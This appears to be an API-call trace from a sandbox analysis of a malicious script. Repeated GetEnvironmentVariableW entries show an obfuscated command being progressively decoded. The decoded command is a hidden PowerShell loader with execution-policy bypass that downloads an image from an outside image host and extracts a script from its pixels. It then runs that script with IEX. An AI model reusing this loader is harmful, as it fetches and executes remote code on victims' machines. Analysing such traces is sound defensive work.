	[0057.255] GetEnvironmentVariableW (in: lpName="-}", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`=EcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsheiVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x4a8
	[0057.260] GetEnvironmentVariableW (in: lpName=".;?", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9jec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`=EcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x4a0
	[0057.268] GetEnvironmentVariableW (in: lpName="+.@#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.aE -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyO4ERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x48c
	[0057.272] GetEnvironmentVariableW (in: lpName="{'`#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.aE -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x48c
	[0057.282] GetEnvironmentVariableW (in: lpName="}$]?", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[10.'+'.4)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.aE -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#4).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn24).ReplaCE11{CTFAr]DnDn8+{CTFAr]54+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT  aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{4,24,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x48c
	[0057.313] GetEnvironmentVariableW (in: lpName="{,.", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[10.'+'.4)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInG]{CTFAr]#4).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInG]{CTFAr]Dn24).ReplaCE11{CTFAr]DnDn8+{CTFAr]54+{CTFAr]8Dn),{sTRInG]{CTFAr]#6))^&^& seT  aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&1 @eqvNV:Comstyec{4,24,25]-JoIn'')1@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x486
	[0057.318] GetEnvironmentVariableW (in: lpName="}{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[(0.'+'.4)b'+'S'+'j%\\foreacTF('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({matTF]::F'+'lo'+'or((v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'(v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{CTFAr]#4).ReplaCE(({CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInG]{CTFAr]Dn24).ReplaCE(({CTFAr]DnDn8+{CTFAr]54+{CTFAr]8Dn),{sTRInG]{CTFAr]#6))^&^& seT  aDIz`=EcTFO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x486
	[0057.325] GetEnvironmentVariableW (in: lpName=".@_#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sjVelLId{Dn]+@shELlId{Dn#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'(v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]Dn06),{sTRInG]{ChAr]Dn24).ReplaCE(({ChAr]DnDn8+{ChAr]54+{ChAr]8Dn),{sTRInG]{ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsjVElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x477
	[0057.331] GetEnvironmentVariableW (in: lpName="]$*{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId{Dn]+@shELlId{Dn#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'(v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]Dn06),{sTRInG]{ChAr]Dn24).ReplaCE(({ChAr]DnDn8+{ChAr]54+{ChAr]8Dn),{sTRInG]{ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsHElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x475
	[0057.334] GetEnvironmentVariableW (in: lpName="#-", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e  )  ^^^|tyOwERsHElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`tyASS  -nOtyrOFIle  -COmMAqvNd     ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x468
	[0057.343] GetEnvironmentVariableW (in: lpName=".$+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRiPT((LS eqvNV:s3LrV).vaL3e  )  ^^^|POwERsHElL  -noqvNiqvNTEraCTI  -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`PASS  -nOPrOFIle  -COmMAqvNd     ^^^^^^^&( @eqvNV:ComsPec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x462
	[0057.384] GetEnvironmentVariableW (in: lpName="+,\\", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( @eNV:ComsPec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0057.387] GetEnvironmentVariableW (in: lpName="]#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140;(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( @eNV:ComsPec{4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
	[0057.450] GetEnvironmentVariableW (in: lpName="_`@#", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="set  suLrv=. ( @sHelLId[1]+@shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT  aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e  )  ^^^|POwERsHElL  -noNiNTEraCTI  -NolO -wiN hIdden -execuTIONpOLIc b`PASS  -nOPrOFIle  -COmMANd     ^^^^^^^&( @eNV:ComsPec[4,24,25]-JoIn'')(@inpuT )  ^&^&  cmd.exE   /c %adizY%") returned 0x44a
